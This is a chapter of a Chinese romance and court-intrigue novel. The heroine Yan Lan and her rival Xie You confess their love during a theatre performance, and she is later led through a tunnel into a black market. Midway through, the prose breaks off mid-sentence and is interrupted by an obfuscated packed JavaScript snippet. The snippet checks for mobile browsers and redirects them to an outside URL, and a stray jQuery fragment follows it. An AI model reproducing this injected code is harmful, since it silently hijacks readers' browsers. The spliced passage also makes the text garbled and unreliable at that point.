燕览想到第三人。
她自这军饷案结案后就一直心疑有第三人从中作梗,莫名来信成了最大嫌疑及线索。可此番谢游却提醒了她——
第三人从中搅局,还能在越京影响甚广的醉春楼上这样一出有损首辅形象的大戏,定然是有权势背景的人物。
可朝中的关系勾连她只知皮毛。一时间,她难以锁定人员。
正凝神着,台上的戏便又唱起来了。
时间直接跳转到蒋氏与陈山大婚,舞台上红绸挂起,彩纸飘扬,和街坊所传的十里红妆相差无几。灯光孤独凄冷地打下来,照在舞台角落的阿青头上。一夜间,她原本就朴素的气质添上了憔悴,那些英气也荡然无存。
说书人饶有兴致地讲着,燕览却感叹演员的神韵真是好,陡然被一声戏谑搅扰。
“阿青,”一旁的谢游冷笑,“不知是哪里取来的花名,白娘子看多了?”
燕览望过去,“不叫阿青,真名叫什么?”
不曾想谢游斜斜地瞥了燕览一眼,“想套话?”他回正身子,“我可不像你这么傻。”
燕览撇嘴。
戏台上,这戏越唱越狗血——阿青不忍委屈,直接在大婚当日闯入婚房,来了个抢婚。说书的还在一旁说,这事儿啊,当年被平了下来,只有首辅府内部的人才知晓。
可若真是这样,燕览必然知道。
感叹道无趣,燕览站起身,拍拍衣服便走人了。留大堂内一众观众还津津有味,吵嚷的讨论声此起彼伏,燕览穿过一道道廊柱的阴影,却被陡然拉扯了住。
一回头,正是刚才被她“抛弃”的谢游。
“你就这么走了?也不跟我说一声?”
燕览轻轻抽开手,无奈道,“干嘛,真以为你是我的谁啊。”
谢游顿了顿,竟然有点语塞地笑起来,靠近燕览,复又拽住了她。
他压低声音,“昨夜你嚷着要我陪睡,难道还算不上你的谁?”
燕览微微一颤。
“不是说好不提了么?”
燕览慌忙道。左顾右盼,幸好四周观众纷纷将目光投在台上,无人注意他们。
“谁跟你说好了?”谢游回道,“就算说好了,那我也说反悔就反悔。”
燕览张了张嘴,没想好说什么。
谢游却步步紧逼,干脆和盘托出:
“那日在花田,是你说不要,我才答应你停下。但你也答应了我,结案之后,会立刻给我一个答案。你忘了?”
谢游挑眉,看着燕览。
燕览努努嘴,身上感觉蚂蚁在爬一样不自在。她不断推就,“我没忘,但咱们能不能别在这说这——”
“不行。”谢游沉声,“我现在就要你的答案。”
“你告诉我,你对我,是什么感觉?”
他一字一句问道。
“我......”燕览欲言又止,尴尬感鞭炮一样蹿了一身。
这人真是阴晴不定。刚才还答应她翻篇,现在怎么又...
“你今天找到我这里来,不会真实目的是和我说这个吧?”她灵光一现,顾左右而言他。
“回答我。”
“......”
“或者说,我换个方式问——”
燕览抬眸,疑惑地看着他。
谢游勾了勾唇角,缓慢道:
“有些感觉,是不是只有我才能给你?”
燕览傻傻地呆住。
她回避着谢游的眼神,可终究还是被他滚烫的目光给掰了回来。她知道,以谢游的性子,得不到他想要的答案,一定不会善罢甘休。
可的确,早在花田后,她就决定要直面自己内心的情感。
眼前之人,既是那个她抗衡多年还未打败的宿敌,亦是她每日每夜心心念念牵挂着的对手,还是她想要与之有更近一步联系的心上之人。在越京城的深夜,在宁山寺的大雪里,她都曾读过他,也像读自己一样,读懂过他。
“是。”
燕览回答。
尽管,她还是忍不住带着一丝羞赧,吐露这个字时还是没有底气望着他,但幸好,她还是说了。
二人之间沉默了半刻。
燕览抬起头,声音断断续续,在身边一众观众如雷贯耳的掌声下断了线的珠子一样传进谢游的耳朵。他极力想听清,于是靠得更近。
“...谢游,感情的事,不能硬来。我对你是什么感觉,你自己应该最清楚。”
谢游的头悬在燕览身边,顿住。可脸上却抑制不住错愕下不知名的欣喜。
他的语调微微上扬,却嘴硬道,“我不清楚。”
“你不亲口说,我永远不会清楚。”他这一句说得很快,而后顿了顿,“即使我感受到你,对我的恨也好,不舍也好,痛也好,眷恋也好,我都无法确认那是真的。在京城蛰伏多年,我从不害怕任何事,我只害怕你对我,麻木不仁。”
燕览沉默不语,视线却从未离开他。
谢游出人意料咧开笑容,眼神似乎在回忆,“最开始查你,查那个浔阳燕览的过去,没有别的目的,就是要杀了你。可真到了我可以动手布局的那一刻,我却舍不得了。”谢游迟疑,陡然自嘲发笑,“我不知道为什么...也许我是想再等一等,找一个更有意思的手段再杀你,也许我是想让你这个从不笑也不急的人外露哪怕一丝的恐慌,也许我就是想...你可以一直活着,陪着我,不管以什么身份。只要,你活着就好。”
“后来我不会再想杀你,可我更贪心了......”谢游双手抚上燕览的肩膀,正视着她,“阿览,如果爱和恨都是一种占有,那你对我无论是哪一个,我都甘之如饴。”
“但当然,我祈求是前者。”
人声鼎沸里,谢游的目光像一条游鱼一样钻入燕览海洋般涌动泛着波澜的眼瞳,将水花掀翻,搅出涡旋。
明明身边那么嘈杂,可谢游的这番话却一字不漏地、清清楚楚地进了燕览的耳朵。
即使她那么想嘴硬地说句,她没听清,可她张了张嘴唇,最终也没忍心说出口。
四目相对,千言万语尽在不言中。
她轻轻将手抚上肩头上,谢游的手。手背温暖细腻,又令她熟悉且安心。
什么时候才能在大庭广众之下握住这双手呢?
即使此刻在醉春楼,灯光也是暗暗的。可对方眼底浓烈的爱意和情愫,却被看了一清二楚。
燕览咧开一丝笑,终于沉了沉声,缓缓道:
“早在初识时你就看破了我——你说得对,我分不清爱,和恨。在这个充满爱的世界,却是恨支撑我活下去。可我无法再忽视自己对你的感情...”
燕览顿了顿,“谢游,我没办法给你什么承诺,我也无力改变我们的处境。我们终究是两条线上不同的并行者,可我愿意,也想,在此刻告诉你——我对你永不会失去感受的能力,不会,麻木不仁。”
台下忽然响起轰鸣的欢呼声,掌声雷动,恰巧出现在话毕,就好像在为他们二人喝彩一样。
灯光彻底熄灭。
下一刻,眼前那个狼一样眼神的人就凑了上来。
一股温热的气息骤然堵住了燕览的唇。
也许是不管用什么都无法表达谢游现在的感情,也许是他想极力把她对他的感受变成那个“前者”,但不管怎样,他现在就想这么做。即使身边有首辅或者长公主的眼线,他也无所畏惧。
温热的感觉穿过二人的唇,进而穿透身体。这次的吻并不热烈,也不长久,就是轻轻一覆,仿若只是为了感受对方的温度般,在短暂的亲昵之后便停了下来。而燕览也没有躲,她终于,沉静地在漆黑一片的瞬间里肆意纵容了自己一次。
身体虽滚烫,空间却好像骤然回到了那个寒冷的冬天。在他生命里下不停的一场场大雪,好像在此刻停了下来。而在她生命里重复循环的那个猩红色的雨夜,也终于在此刻放过她,让她得以迈步向前,走向一个明天。
尽管此刻他们各有所感,但他们都感受到了同一种庆幸——
幸好在经年的束缚与囚困里,他们还保留了一块自己的碎片。
·
翌日申时末,乾云街。
燕览按时赴约,并没有告诉谢游,也并没有告诉长公主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384548|178471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
第三人的存在本身就是个疑云,至于这纸条是不是第三人的手笔,更是难以判断。可无论是哪路牛鬼蛇神,燕览都要来探个究竟。
乾云街是条繁华的街市,这一点也给燕览增添了半分底气。在这种地方行凶,隔天就会传入朝廷。
在街口等了没一会儿,身旁就冒出一个矮了半个头的毛头小子。
毛头小子眼睛大,除了眉毛淡以外,全身的毛发都很茂盛。黑又发黄发褐的土色皮肤,头发像杂草一样蓬松卷起,杂乱无章。身着一件朴素还有补丁的衣服,整体气质与这整条街的富贵繁荣相差甚远,不知道是从哪条水沟里冒出来的。
“是懒锦姑娘吧?嘿嘿。”他戳了戳燕览的胳膊,笑得憨厚。
燕览沉声,“是我。”
“嗯嗯。”毛头小子点头,“我是小七。咱家主人叫我来接你。”
燕览有点发蒙,“好。”
“那走吧。”小七摊开手,带着燕览便往前走去。
一路上,燕览时不时从背后打量观察他,看起来这副装束和气质不像演的,他的谈吐和礼仪,也并不像权贵家教出来的。莫不是,有什么特殊身份?
没想太多,小七带着燕览拐入一家卖酒的酒坊。
燕览狐疑地跟着小七进去,鼻尖陡然扑来一阵酒气飘香。只见小七握着一块绿得发亮的玉牌,对着掌柜的一亮,那掌柜的就恍然大悟,变了神色,掩面带着小七拐进了更深的里屋。
小七回头,招招手,“走啊。”
燕览跟上。
入了里屋,便直接通往酒窖。可出了酒窖,却来到了一道漫长的地下甬道。
甬道又长又窄又直,四周皆铺满石砖块,烛火连排分列两边,照得幽幽森森。小七单薄的背影自顾自往前,燕览匆匆迈了几步,叫住了他。
燕览摆出要出手的姿势,狠戾道,“这是哪?你要带我去哪?”
小七却并没被吓到,反而浮现一张淳朴的笑脸。
他往前凑过来,“是去找主人的必经之路。嘿嘿。”他挠了挠头,“你要是怕黑,可以数数字,就数三五八,九四零,就好。”
说罢,小七转头又继续往前走了。
一拳打在棉花上,燕览只好迈着步子往前,一边还腹诽着,这是什么办法?
没一会儿,她念叨起来,“三五八,九四零...三五八,九四零...”
现如今的她已经不怕黑,察觉不出效果,可从前在无名山,为何没人教她这个?害得她整夜不是怕深山老林的野兽闯入,就是怕鬼神突脸,勒着她脖子要她的命。而那些鬼神倒不是因为她做了多少亏心事,原型纯粹是那燕氏府里七大姑八大姨连同她爹的那张脸,令她作呕又恐惧。
念着,想着,竟然就走到了甬道尽头。
尽头是条长长的阶梯,通往地面。小七径直带着燕览走上去,原本料想的光芒却并没有到来,燕览仿若进入了一个不见天日的地方。
她将整个身子从地下迈出,这里的场景完全映入眼帘。
漆黑的天幕下,最先嗅到的是浓烈的怪气,地面像不曾打扫过的菜市场一样杂乱不堪。各类奇装异服商贩正卖着古怪东西——一眼扫过去,未剔干净的羊骨、用作装饰品的象牙碎件、碎玉做的风铃......呈在各个商贩的桌面上。街市人来人往,形色各异,燕览陡然反应过来——
这里是,黑市!
紧接着,便有路过的汉子像燕览走近,嘴里叼着还未吃完的骨头。他吹了声口哨,上下打量一番,却转头问小七道,“新货?卖给哪位达官贵人的?”
“嘘!”小七忙道,“你可别胡说,这是主人的人!”
“哟!”汉子忙退三步作揖,“得罪得罪,七爷,你就当我没问过。走了走了。”说罢,他就逃之夭夭了。
燕览还一脸懵,可直觉告诉她,不妙。
她问道,“你家主人是谁?”
“姑娘别怕,主人不会伤害你。随我来,见了就知道了!”小七嬉笑道,不由燕览拒绝,就往前走了。
燕览这才注意到,这毛头小子的一只袖子竟是空的。